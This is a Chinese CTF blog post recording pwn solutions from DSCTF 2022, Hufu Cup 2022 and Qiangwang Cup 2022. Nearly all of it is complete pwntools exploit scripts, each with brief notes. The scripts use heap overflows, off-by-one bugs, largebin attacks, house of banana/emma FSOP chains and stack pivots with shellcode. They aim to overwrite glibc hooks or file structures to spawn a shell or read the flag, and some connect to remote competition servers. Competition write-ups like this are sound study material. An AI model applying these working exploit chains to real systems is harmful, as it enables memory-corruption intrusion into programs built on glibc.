虎符、DSCTF、强网的简单记录

最近打了一下近期的几场CTF比赛,随缘记录一下

DSCTF 2022

gonote

size 可为负数,导致堆溢出,构造 overlap chunk 改 free_hook 为 system 的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.log_level = 'debug'
binary = './gonote'
local = 0
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.106.154.70', 13564)
libc = ELF('./libc-2.27.so')


def add(index, size, content):
p.sendlineafter('choice: ', '1')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)

def free(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index: ', str(index))


def show(index):
p.sendlineafter('choice: ', '2')
p.sendlineafter('Index: ', str(index))

def convert(size):
if size >= 0:
return size
else:
return 0xffff + size +1
# gdb.attach(p, 'b *0x48F3EC')


add(0, 0x100, 'verf1sh')
add(1, -convert(0xffff-0x500), 'verf1sh')
add(2, 0x100, 'verf1sh')
add(3, 0x20, '/bin/sh\x00')
free(0)
add(0, -convert(0xffff-0x100), 'a'*0x108 + p64(0x621) + 'b'*0x10)
free(1)
add(1, -convert(0xffff-0x500), 'verf1sh')
show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) -0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
pause()
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(3)
add(3, -convert(0xffff-0x100), 'a'*0x108 + p64(0x621) + p64(free_hook))
add(4, 0x20, '/bin/sh\x00')
add(5, 0x20, p64(system))
free(4)

p.interactive()

rusty

题目本身逆向很复杂,但比赛的时候提示了为off by one漏洞,直接照着模板打了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

context.log_level = 'debug'
binary = './rusty'
local = 0
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.105.187.159', 30008)
libc = ELF('./libc-2.27.so')


def add(size):
p.sendlineafter('Command: ', '1')
p.sendlineafter('Size: ', str(size))

def edit(index, size, content):
p.sendlineafter('Command: ', '2')
p.sendlineafter('Idx: ', str(index))
p.sendlineafter('Len: ', str(size))
p.sendlineafter('Data: ', content)


def free():
p.sendlineafter('Command: ', '3')


def show(index):
p.sendlineafter('Command: ', '4')
p.sendlineafter('Idx: ', str(index))


# gdb.attach(p)

for i in range(7):
add(0xe8)
add(0x68)
for i in range(14):
free()

add(0x18) #0
add(0x78) #1
add(0x68) #2
add(0x18) #3
edit(0, 0x19 ,b'\x00'*0x18 + '\xf1')
for i in range(3):
free()
add(0x68) #1
edit(1, 0x68, b'a'*0x60 + p64(0xf0))
# pause()
add(0x78) #2
show(1)
p.recvuntil('Data: ')
data = p.recvuntil('\x7f')
libc_base = ''
for i in data:
if i == '\xc2':
continue
elif i == '\xc3':
exit()
else:
libc_base += i
if len(libc_base) != 6:
p.close()
success('libc_arena -> {}'.format(hex(u64(libc_base.ljust(8, '\x00')))))
libc_base = u64(libc_base.ljust(8, '\x00')) - 0x70 - libc.sym['__malloc_hook']# + 0x40004000
success('libc_base -> {}'.format(hex(libc_base)))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook -> {}'.format(hex(malloc_hook)))
one_gadget = [0x4f2a5, 0x4f302, 0x10a2fc]
add(0x68) #3
free()
edit(1, 8, p64(malloc_hook-0x23))
add(0x68) #3
add(0x68) #4
edit(4, 0x20, 'a' * 0x13 + p64(one_gadget[1] + libc_base))

# pause()
p.sendlineafter('Command: ', '1')
p.interactive()

eznote

libc 2.35,第一次做2.35的题,赛后用house of banana搞定了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

context.log_level = 'debug'
binary = './eznote'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote(['39.105.185.193', 30007], stdin=PTY,raw=False)
libc = ELF('./libc-2.27.so')


def add(size, content):
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)

def edit(index, content):
p.sendlineafter('> ', '3')
p.sendlineafter('Idx: ', str(index))
p.sendafter('Content: ', content)

def free(index):
p.sendlineafter('> ', '2')
p.sendlineafter('Idx: ', str(index))


def show(index):
p.sendlineafter('> ', '4')
p.sendlineafter('Idx: ', str(index))


gdb.attach(p)

add(0x400, 'verf1sh\n') #0
add(0x4a8, 'verf1sh\n') #1
add(0x400, 'verf1sh\n') #2
add(0x478, 'verf1sh\n') #3
add(0x400, 'verf1sh\n') #4

for i in range(2):
add(0x400, 'verf1sh\n') #5-6

add(0x1561, 'verf1sh\n') #7
show(0)
p.recvuntil('Note0:\n')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20d0#& 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))
free(0)

add(0x1140, 'verf1sh\n') #0

show(4)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x219ce0
success('libc_base -> {}'.format(hex(libc_base)))
rtld_global = libc_base + 0x278040

free(6)
add(0x400, 'verf1sh\n') #6<->4
free(5)
free(4)
# add(0x4a8, 'verf1sh\n') #6<->1
payload = b'\x00'*0x408 + p64(0x4b1)
payload += b'\x00'*0x4a8 + p64(0x411)
payload += b'\x00'*0x408 + p64(0x481) + b'\n'
edit(0, payload)
free(1)
add(0x600, 'verf1sh\n') #4

free(3)
# free(4)

# show(2)
# p.recvuntil('Note2:\n')
# heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
# success('heap_base -> {}'.format(hex(heap_base)))
payload = p64(libc_base + 0x21a0f0)*2 + p64(heap_base+0x750) + p64(rtld_global-0x20)
edit(0, b'\x00'*0x408 + p64(0x4b1) + payload + b'\n')

add(0x500, 'verf1sh\n') #3
# pause()

pop_rdi = libc_base + 0x000000000002a3e5
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x0000000000029cd6
bin_sh = libc_base + 0x00000000001d8698
system = libc_base + libc.sym['system']

fake_link_map_data = p64(0) + p64(libc_base+0x279890) + p64(0)
fake_link_map_data += p64(heap_base+0x1010)
fake_link_map_data += p64(setcontext+61) + p64(ret)
fake_link_map_data += p64(bin_sh) + p64(ret) + p64(system)
fake_link_map_data += b'\x00' * 0x80
fake_link_map_data += p64(heap_base + 0x1010 + 0x18 + 0x28)
fake_link_map_data += p64(pop_rdi)
fake_link_map_data = fake_link_map_data.ljust(0x100, b'\x00')
fake_link_map_data += p64(heap_base + 0x1010 + 0x10 + 0x110)*0x3
fake_link_map_data += p64(0x10)
fake_link_map_data = fake_link_map_data.ljust(0x31C - 0x10, b'\x00')
fake_link_map_data += p8(0x8) + b'\x00' * 4
# rdx = len(payload) - 8

# payload = payload.ljust(0x70+rdx, '\0') + p64(free_hook&0xfffffffffffff000)#rsi
# payload = payload.ljust(0x68+rdx, '\0') + p64(0)#rdi
# payload = payload.ljust(0x88+rdx, '\0') + p64(0x2000)#rdx
# payload = payload.ljust(0xa0+rdx, '\0') + p64((free_hook&0xfffffffffffff000)+8)#bytes(frame)
# payload = payload.ljust(0xa0+rdx, '\0') + p64(syscall)#rip
# payload = payload.ljust(0x100,'\x00')
# payload += p64(heap_base + 0x3380 + 0x10 + 0x110)*0x3
# payload += p64(0x10)
# payload = payload.ljust(0x31C - 0x10,b'\x00')
# payload += p8(0x8) + b'\x00'*4

payload = b'\x00'*0x408 + p64(0x4b1)
payload += b'\x00'*0x4a8 + p64(0x411)
payload += b'\x00'*0x400 + p64(heap_base + 0x1030) + p64(0) + fake_link_map_data + b'\n'
edit(0, payload)
pause()
p.sendlineafter('> ', '5')
p.interactive()
pause()

fuzzerinstrospector

都有点忘了题目的逻辑了,当时做的时候在泄露libc的时候卡了一会儿,重点是用scanf的trick让我们的输入略过 不覆盖libc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level = 'debug'
binary = './fuzzerinstrospector'
local = 0
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.105.185.193', 30007)
libc = ELF('./libc-2.27.so')

def add_index(content):
if type(1) == type(content):
for i in range(8):
p.sendlineafter('Index: %s: '%str(i), str((content >> 8*i) & 0xff))
else:
for i in range(8):
p.sendlineafter('Index: %s: '%str(i), content)


def add(index, content, content2=0):
p.sendlineafter('choice: ', '1')
p.sendlineafter('Index: ', str(index))
add_index(content2)
p.sendafter('Bitmap: ', content)

def edit(index, content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('Index: ', str(index))
add_index(0x0)
p.sendafter('Bitmap: ', content)


def free(index):
p.sendlineafter('choice: ', '4')
p.sendlineafter('Index: ', str(index))


def show(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('Index: ', str(index))

def backdoor(addr):
p.sendlineafter('choice: ', '6')
p.sendline(str(addr))
# gdb.attach(p, 'b *$rebase(0xE2B)')

for i in range(9):
add(i, 'a'*0x100)

# # pause()
# # backdoor(0x7fff3cdec1b8)
for i in range(9):
free(8-i)
for i in range(7):
add(i, 'a'*0x100)

payload = ''
for i in range(256):
payload += p8(i)
add(7, payload , '-')

# pause()
show(7)
libc_base = 0
for i in range(6):
p.recvuntil('Bit: ')
libc_base = (int(p.recvuntil('\n', drop=True), 10) << 8*i) + libc_base
libc_base = libc_base - 624 - 0x10 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
# # one_gadget = [0x4f2a5, 0x4f302, 0x10a2fc]
# # pause()
free(0)
add(0, '/bin/sh;'.ljust(0x100, 'a'), 0x3b68732f6e69622f)
backdoor(system)
p.interactive()

虎符杯 2022

有三道pwn,这个book是C++ pwn,还有两道分别是unicorn和ppc有机会再复现记录一些。

phone_book

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

context.log_level = 'debug'
binary = './pwn'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.105.185.193', 30007)
libc = ELF('./libc-2.27.so')


def add(index, phone, name):
p.sendlineafter('>>', '1')
p.sendlineafter('idx:', str(index))
p.sendlineafter('Number: ', phone)
p.sendlineafter('(y/n): ', 'n')
p.sendlineafter('name: ', name)

def add_vuln(index, phone, idx, val, name):
p.sendlineafter('>>', '1')
p.sendlineafter('idx:', str(index))
p.sendlineafter('Number: ', phone)
p.sendlineafter('(y/n): ', 'y')
p.sendlineafter('wrong?', str(idx))
p.sendline(val)
p.sendlineafter('name: ', name)

def free(index):
p.sendlineafter('>>', '3')
p.sendlineafter('idx:', str(index))


def show(index):
p.sendlineafter('>>', '2')
p.sendlineafter('idx:', str(index))


# gdb.attach(p)#, 'b *$rebase(0xE2B)')


# pause()
add(0, '\x00' + '2'*0x418, 'verf1sh')
show(0)
free(0)
add(0, '\x00', '/bin/sh\x00')
add_vuln(1, '\x00', 0, '2', 'verf1sh')
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) -2 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

one_gadget = [0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one_gadget[1]
add(2, '1'*0x100, 'verf1sh')

for i in range(7):
add(3+i, '1'*0x30, 'a'*0x120)
for i in range(7):
free(3+i)
free(1)

add(1, '1', 'a'*0x30)
add_vuln(1, '\x00' + '1'*0x20, 0x18, '1', 'a'*0x30)
free(2)
add(10, '1', 'a'*0x30) # overlap 0x21
free(10)
add(2, '1'*0x30, 'a'*0xb0)
add(11, '1'*0x30, 'b'*0x50 + p64(free_hook))# overlap 0x21
add(12, '1', p64(one_gadget))

free(0)

p.interactive()

强网杯 2022

pwn网杯劝退pwn手

devnull

栈溢出改fd,然后栈迁移调用mprotect把栈改为可执行,然后写shellcode,最后拿到shell的时候重定向一下输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
binary = './devnull'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:
p = remote('182.92.223.176', 37269)
# libc = ELF('./libc.so.6')
elf = ELF(binary)

# gdb.attach(p, 'b *0x40145E')

payload = b'a' *0x20 + p8(0)
p.sendafter('filename\n', payload)
# sleep(1)
payload = b'\x00' * 0x13+ p64(0x3FF000)
payload = payload.ljust(0x23-8, b'\x00') + p64(0x3FF000+0x18) + p64(0x401350)
p.sendafter('discard\n', payload)
# sleep(1)
payload = p64(0x3FF000)
payload = payload.ljust(0x20, b'\x00') + p64(0x4012D0) + p64(0xdeadbeef) + p64(0x3ff038) + asm(shellcraft.read(0, 0x3ff04d, 0x100))
# payload =
p.sendafter('data\n', payload)

pause()

payload = asm(shellcraft.open('/dev/pts/1', 2))
orw = shellcraft.open('flag', 2)
orw += shellcraft.read(4, 0x3FF200, 0x30)
orw += shellcraft.write(1, 0x3FF200, 0x30)
# orw = asm(shellcraft.sh())
p.send(payload + asm(orw))
p.interactive()

house of cat

第二次做2.35的题,程序没有exit和自然退出,故banana调用链无法触发,使用house of emma调用链,0x418、0x428、0x438、0x448两条链刚好两次largebin attack,改stderr和pointer_guard,最后堆风水+UAF改小top chunk触发malloc_assert调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *

context.log_level = 'debug'
binary = './house_of_cat'
local = 0
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.107.237.149', 15255)
libc = ELF('./libc.so.6')


def add(index, size, content):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '1')
p.sendlineafter('idx:\n', str(index))
p.sendlineafter('size:\n', str(size))
p.sendafter('content:\n', content)

def edit(index, content):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '4')
p.sendlineafter('idx:\n', str(index))
p.sendafter('content:\n', content)

def free(index):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '2')
p.sendlineafter('idx:\n', str(index))


def show(index):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '3')
p.sendlineafter('idx:\n', str(index))



# gdb.attach(p)#, 'b *$rebase(0x181b)')

payload = 'LOGIN | r00t QWBQWXF admin'
p.sendafter('~\n', payload)

# payload = b'CAT | r00t QWBQWXF \xff\xff\xff\xff$'
# p.sendlineafter('~\n', payload)
add(0, 0x428, 'verf1sh')
add(1, 0x428, './flag\x00')
# add(2, 0x438, 'verf1sh')
# add(3, 0x420, 'verf1sh')
free(0)
add(15, 0x448, './flag\x00')
add(14, 0x448, './flag\x00')
show(0)
p.recvuntil('Context:\n')
libc_base = u64(p.recv(8)) - 0x21a0d0
success('libc_base -> {}'.format(hex(libc_base)))
p.recv(8)
heap_base = u64(p.recv(8))#& 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))

flag_path = heap_base + 0x440
rtld_global = libc_base + 0x278040
stderr = libc_base + libc.sym['stderr']
pop_rdi = libc_base + 0x000000000002a3e5
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x0000000000029cd6
bin_sh = libc_base + 0x00000000001d8698
system = libc_base + libc.sym['system']
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0
io_cookie_jumps_addr = libc_base + 0x215b80
pointer_guard = libc_base - 0x2890

fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)


pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
close = libc_base + libc.sym['close']
syscall = Read + 0x10

orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

add(2, 0x428, 'verf1sh')
add(3, 0x418, fake_file)
free(2)
add(13, 0x438, orw)
# pause()
add(12, 0x438, 'verf1sh')
free(3)
edit(2, p64(libc_base+0x21a0d0)*2 + p64(heap_base) + p64(stderr-0x20))
add(11, 0x458, 'verf1sh')

free(15)
add(10, 0x450, 'verf1sh')
free(12)
success('pointer_guard-0x20 -> {}'.format(hex(pointer_guard-0x20)))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
add(9, 0x450, 'verf1sh')
add(8, 0x450, 'verf1sh')

free(9)
free(10)
free(8)
add(7, 0x460, b'a'*0x458 + p64(0x471))
add(6, 0x460, b'a'*0x458 + p64(0x451))


free(6)
free(9)
# pause()
add(4, 0x460, p64(0) + p64(0x100))
success('setcontext -> {}'.format(hex(setcontext+61)))
# pause()
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '1')
p.sendlineafter('idx:\n', str(5))
p.sendlineafter('size:\n', str(0x460))

p.interactive()

qwarmup

比赛的时候没做出来,个人思路是爆破程序基址间的距离 也不知道实际可不可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *
import random

# context.log_level = 'debug'
binary = './qwarmup'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('', )
libc = ELF('libc.so.6')



def convert(index):
if index >= 0:
return index
else:
return (0xffffffffffffffff + index + 1)



# pause()
# setvbuf-90 alarm-50 malloc-80 prctl-70 read-60 write-30
def exp():
# distance = 0x1000
gdb.attach(p)#, 'b *$rebase(0x145a)')
distance = 0x1000#random.randint(0, 0x1000) * 0x1000
success('distance -> {}'.format(hex(distance)))
# change write

p.send(p32(0x100))
p.send(p64(convert(-0x2c0-distance+0x18)))
p.send(p8(0x80))

# change exit 0x1436 0x1474
main = p16(0x5436)
for i in range(2):
p.send(p64(convert(-0x2c0-distance+0x50+i)))
p.send(p8(main[i]))

# change write
p.send(p64(convert(-0x2c0-distance+0x19)))
p.send(p8(0x54))
p.send(p64(convert(0)))
p.send(p8(0))
p.send(p64(convert(-0x2c0-distance+0x18)))
p.send(p8(0xe9))


# # change io_stdout 0x23f770
payload = p64(0xfbad3887)+p64(0)*3 + p16(0)
for i in range(len(payload)):
p.send(p32(0x21000))
p.send(p64(0x23f770+0x22001*i))
p.send(p8(payload[i]))


p.send(p32(0x100))
p.send(p64(convert(-0x430-distance+0x18)))
p.send(p8(0x80))

p.send(p64(convert(-0x430-distance+0x28)))
p.send(p8(0xc3))
p.send(p64(convert(-0x430-distance+0x38)))
p.send(p8(0xd1))
p.send(p64(convert(0)))
p.send(p8(0))
p.send(p64(convert(-0x430-distance+0x19)))
p.send(p8(0x51))
p.send(p64(convert(-0x430-distance+0x18)))
p.send(p8(0x40))

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
for i in range(0x10):
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
for i in range(9):
p.recv(timeout=0.2)
libc_base -= 0x1baf80
success('libc_base -> {}'.format(hex(libc_base)))
io_cookie_jumps_addr = libc_base + 0x215b80
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0

p.send(p32(0x100))
p.send(p64(convert(-0x560-distance+0x18)))
p.send(p8(0x80))
p.send(p64(convert(-0x560-distance+0x19)))
p.send(p8(0x54))
p.send(p64(convert(0)))
p.send(p8(0))
p.send(p64(convert(-0x560-distance+0x18)))
p.send(p8(0xe9))

# pause()# 0x7ffff78d6010 0x4a8ff0
heap_base = libc_base - 0x4a8ff0
stderr = libc_base + libc.sym['stderr']
pointer_guard = libc_base - 0x2890
payload = p64(heap_base)
for i in range(8):
p.send(p32(0x21000))
p.send(p64(stderr-heap_base+0x22001*i))
p.send(p8(payload[i]))
success('pointer_guard -> {}'.format(hex(pointer_guard)))
success('heap_base -> {}'.format(hex(heap_base)))
heap_base = libc_base - 0x5b8ff0
# pause()
for i in range(8):
p.send(p32(0x21000))
p.send(p64(pointer_guard-heap_base+0x22001*i))
p.send(p8(payload[i]))

payload = u64(payload)
fake_FILE = p64(0) * 2 #_IO_read_end _IO_read_base
fake_FILE += p64(0) # _IO_write_base
fake_FILE += p64(0xffffffffffffffff) #_IO_write_ptr
fake_FILE += p64(0)*3 #_IO_write_end _IO_buf_base _IO_buf_end
fake_FILE = fake_FILE.ljust(0x58, b'\x00')
fake_FILE += p64(0) #chain
fake_FILE = fake_FILE.ljust(0x78, b'\x00')
fake_FILE += p64(libc_base+0x21ba60) #_lock=writable_addr
fake_FILE = fake_FILE.ljust(0xb0, b'\x00')
fake_FILE += p64(0) #_mode=0
fake_FILE =fake_FILE.ljust(0xc8, b'\x00')
fake_FILE += p64(io_cookie_jumps_addr+0x18) #vtable
fake_FILE += p64(payload+0x100) #rdi
fake_FILE += p64(0)
enc = ((gadget^(payload))>>(64-0x11))|((gadget^(payload))<<0x11)
fake_FILE += p64(enc)
fake_FILE = b'./flag\x00'.ljust(0x10, b'\x00') + fake_FILE
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
close = libc_base + libc.sym['close']
syscall = Read + 0x10
setcontext = libc_base + libc.sym['setcontext']

orw = p64(0)*2 + p64(payload+0x100)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(payload+0x1b0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(payload)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(payload)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

fake_FILE += orw

# pause()
for i in range(len(fake_FILE)):
p.send(p32(0x21000))
p.send(p64(convert(0x220000+0x22001*i)))
p.send(p8(fake_FILE[i]))


p.send(p32(0x100))
p.send(p64(convert(-0x670-distance+0x18)))
p.send(p8(0x80))
p.send(p64(convert(0x108)))
p.send(p8(0))
p.send(p64(convert(0x10a)))
p.send(p8(0))
p.send(p64(convert(0)))
p.send(p8(0))
p.send(p64(convert(-0x670-distance+0x18)))
p.send(p8(0xe9))

# pause()
p.send(p32(0x1000))
p.interactive()

exp()
# if __name__ == '__main__':
# while True:
# try:
# local = 1
# if local:
# p = process(binary)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# else:
# p = remote('121.40.213.105', 12001)
# libc = ELF('libc.so.6')
# exp()
# break
# except:
# p.close()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!